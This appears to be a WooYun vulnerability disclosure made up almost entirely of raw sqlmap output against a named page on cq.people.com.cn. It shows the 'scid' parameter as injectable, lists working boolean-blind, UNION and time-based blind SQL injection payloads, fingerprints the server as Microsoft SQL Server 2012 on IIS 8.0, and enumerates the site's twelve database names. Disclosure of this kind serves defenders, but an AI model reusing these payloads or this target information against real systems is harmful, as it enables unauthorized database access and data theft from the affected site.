WooYun.org

http://cq.people.com.cn/jkpd/sclass.cqr300?szname =%B1%BE%C6%DA%B9%D8%D7%A2&scname=%CA%B3%D2%A9%B0%B2%C8%AB&scid=3271
[22:01:45] [INFO] GET parameter 'scid' is 'Generic UNION query (NULL) - 1 to 20
columns' injectable
GET parameter 'scid' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N]
sqlmap identified the following injection points with a total of 527 HTTP(s) req
uests:
---
Place: GET
Parameter: scid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: szname=%B1%BE%C6%DA%B9%D8%D7%A2&scname=%CA%B3%D2%A9%B0%B2%C8%AB&sci
d=3271' AND 3953=3953 AND 'cgUE'='cgUE
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: szname=%B1%BE%C6%DA%B9%D8%D7%A2&scname=%CA%B3%D2%A9%B0%B2%C8%AB&sci
d=3271' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(109)+CHAR(112)+CHAR(122)+
CHAR(113)+CHAR(114)+CHAR(88)+CHAR(105)+CHAR(79)+CHAR(80)+CHAR(90)+CHAR(85)+CHAR(
68)+CHAR(122)+CHAR(75)+CHAR(113)+CHAR(100)+CHAR(101)+CHAR(109)+CHAR(113)--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: szname=%B1%BE%C6%DA%B9%D8%D7%A2&scname=%CA%B3%D2%A9%B0%B2%C8%AB&sci
d=-9861' OR 6445=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysuser
s AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) A
ND 'eKvu'='eKvu
---
[22:01:53] [INFO] testing Microsoft SQL Server
[22:01:54] [INFO] confirming Microsoft SQL Server
[22:01:56] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8 or 2012
web application technology: ASP.NET, ASP, Microsoft IIS 8.0
back-end DBMS: Microsoft SQL Server 2012
[22:01:56] [INFO] fetching database names
available databases [12]:
[*] #Inza@%eopl!(e_2009
[*] #Inza_BXSY_2012
[*] #LJ@%eopl!(e_2010
[*] #LJ@%Rlzy_Zpqi
[*] CQPEOPLE_CQQS_BBS
[*] flower
[*] LJ_BBS
[*] master
[*] model
[*] msdb
[*] tempdb
[*] tygj
[22:02:00] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 33 times